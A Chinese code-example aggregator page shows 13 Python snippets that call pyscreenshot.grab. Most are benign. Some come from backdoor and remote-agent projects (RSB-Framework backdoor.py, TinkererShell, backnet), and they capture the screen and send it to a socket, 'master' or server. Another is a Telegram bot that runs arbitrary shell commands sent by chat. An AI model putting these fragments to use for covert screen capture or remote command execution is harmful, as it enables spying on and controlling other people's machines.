當前位置: 首頁>>代碼示例>>Python>>正文


Python pyscreenshot.grab方法代碼示例

本文整理匯總了Python中pyscreenshot.grab方法的典型用法代碼示例。如果您正苦於以下問題:Python pyscreenshot.grab方法的具體用法?Python pyscreenshot.grab怎麽用?Python pyscreenshot.grab使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在pyscreenshot的用法示例。


在下文中一共展示了pyscreenshot.grab方法的13個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: _capFrame

# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def _capFrame(self):
        img = grab(self.bbox)
        return np.array(img) 
開發者ID:ManiacalLabs,項目名稱:BiblioPixelAnimations,代碼行數:5,代碼來源:ScreenGrab.py

示例2: screenshot

# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def screenshot(s):
    name = tempdir + '/screenshot'+str(random.randint(0,1000000)) + '.png'
    if(os.name == 'posix'): # se for unix-like
        img = pyscreenshot.grab()
        img.save(name)
    elif(os.name == 'nt'): # se for windows
        img = ImageGrab.grab()
        img.save(name)

    with open(name ,'rb') as f: 
        l = f.read(1024)
        l = name + '+/-' + l
        while(l):
            s.send(l)
            l = f.read(1024)

    print('sent')
    s.shutdown(socket.SHUT_WR)
    os.remove(name) 
開發者ID:tarcisio-marinho,項目名稱:RSB-Framework,代碼行數:21,代碼來源:backdoor.py

示例3: exec_command

# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def exec_command(update, context):
    command_text = update.message.text
    if(update.effective_chat.id in permitted_users):
        if(command_text[0] == "/"):
            if command_text == "/screenshot":
                filename = screenshot_location + "screenshot_%s.png" % str(update.effective_chat.id)
                logging.info("Sending screenshot")
                im = ImageGrab.grab()
                im.save(filename)
                photo = open(filename,'rb')
                context.bot.send_photo(update.effective_chat.id,photo)
        else:
            command = command_text.split()
            try:
                output = subprocess.check_output(command, cwd= curr_dir).decode('utf-8')
                logging.info("%s: %s", command, output)
                if output:
                    context.bot.send_message(chat_id=update.effective_chat.id, text=output)
                else:
                    context.bot.send_message(chat_id=update.effective_chat.id, text=update.message.text)
            except Exception as e:
                context.bot.send_message(chat_id=update.effective_chat.id, text=str(e))
    else:
        context.bot.send_message(chat_id=update.effective_chat.id, text="You don't have permission to use this bot!") 
開發者ID:krishnanunnir,項目名稱:server_monitor_bot,代碼行數:26,代碼來源:start.py

示例4: mss_grab

# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def mss_grab(bbox):
            sct_img = sct.grab(monitor)
            img = Image.frombytes('RGBA', sct_img.size, bytes(sct_img.raw), 'raw', 'BGRA').crop(bbox)
            img = img.convert('RGB')

            return img 
開發者ID:ManiacalLabs,項目名稱:BiblioPixelAnimations,代碼行數:8,代碼來源:ScreenGrab.py

示例5: main

# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def main(output_dir, interval, total):
    i = 0
    while True:
        i += 1
        time.sleep(interval)
        image = pyscreenshot.grab()
        output = os.path.join(output_dir, "screenshot_{}.png").format(i)
        image.save(output)
        print("[+] Took screenshot {} and saved it to {}".format(
            i, output_dir))
        if total is not None and i == total:
            print("[+] Finished taking {} screenshots every {} "
                  "seconds".format(total, interval))
            sys.exit(0) 
開發者ID:PacktPublishing,項目名稱:Python-Digital-Forensics-Cookbook,代碼行數:16,代碼來源:screenshotter.py

示例6: capture_display

# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def capture_display(file_path):
    """ Capture whole display to file ``file_path``

    *Notes*: This keyword saves the whole virtual screen(monitor), while the
    familiar WebApp.`Screenshot Capture` only saves the portion of the web
    browser. But in contrast, the WebApp.`Screenshot Capture` could do `fullpage
    capture` depending on the content of the browser.
    """
    pyscreenshot.grab(childprocess=True).save(file_path)
    BuiltIn().log("Saved current display to file `%s`" % file_path) 
開發者ID:bachng2017,項目名稱:RENAT,代碼行數:12,代碼來源:Common.py

示例7: get_screenshot_linux_1

# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def get_screenshot_linux_1():
    '''
    不支持預選定area
    '''
    im = pyscreenshot.grab() 
開發者ID:voldikss,項目名稱:WechatGameAutoPlayer,代碼行數:7,代碼來源:screenshots.py

示例8: get_screenshot_windows

# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def get_screenshot_windows():
    img = ImageGrab.grab([100, 100, 400, 400]) 
開發者ID:voldikss,項目名稱:WechatGameAutoPlayer,代碼行數:4,代碼來源:screenshots.py

示例9: grab_whole_screen_to

# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def grab_whole_screen_to(file_path):
    img = ImageGrab.grab()
    img.save(file_path) 
開發者ID:PacktPublishing,項目名稱:Python-for-Everyday-Life,代碼行數:5,代碼來源:grab.py

示例10: grab_screen_area_to

# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def grab_screen_area_to(left, upper, right, bottom, file_path):
    img = ImageGrab.grab(bbox=(left, upper, right, bottom))
    img.save(file_path) 
開發者ID:PacktPublishing,項目名稱:Python-for-Everyday-Life,代碼行數:5,代碼來源:grab.py

示例11: screenshot

# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def screenshot():
    """Takes a screenshot of bot's monitors and sends it to the master.\n"""
    buffer = BytesIO()
    try:
        im = ImageGrab.grab()
        im.save(buffer, format='PNG')
        im.close()
        b64_str = str(b64encode(buffer.getvalue()))
        sender(b64_str[2:-1])
    except Exception as exception:
        sender('reachedexcept')
        sender(str(exception))


# TODO: Test on Windows 
開發者ID:4n4nk3,項目名稱:TinkererShell,代碼行數:17,代碼來源:TinkererShell.py

示例12: screenshot

# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def screenshot(self, bbox=(566, 220, 968, 823)):
		return pyscreenshot.grab(bbox=bbox) 
開發者ID:CharlesPikachu,項目名稱:AIGames,代碼行數:4,代碼來源:autoplay.py

示例13: screenshot

# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def screenshot(self):
        """ Takes a screenshot and uploads it to the server"""
        screenshot = ImageGrab.grab()
        tmp_file = tempfile.NamedTemporaryFile()
        screenshot_file = tmp_file.name + ".png"
        tmp_file.close()
        screenshot.save(screenshot_file)
        self.upload(screenshot_file) 
開發者ID:kaiiyer,項目名稱:backnet,代碼行數:10,代碼來源:agent.py


注:本文中的pyscreenshot.grab方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。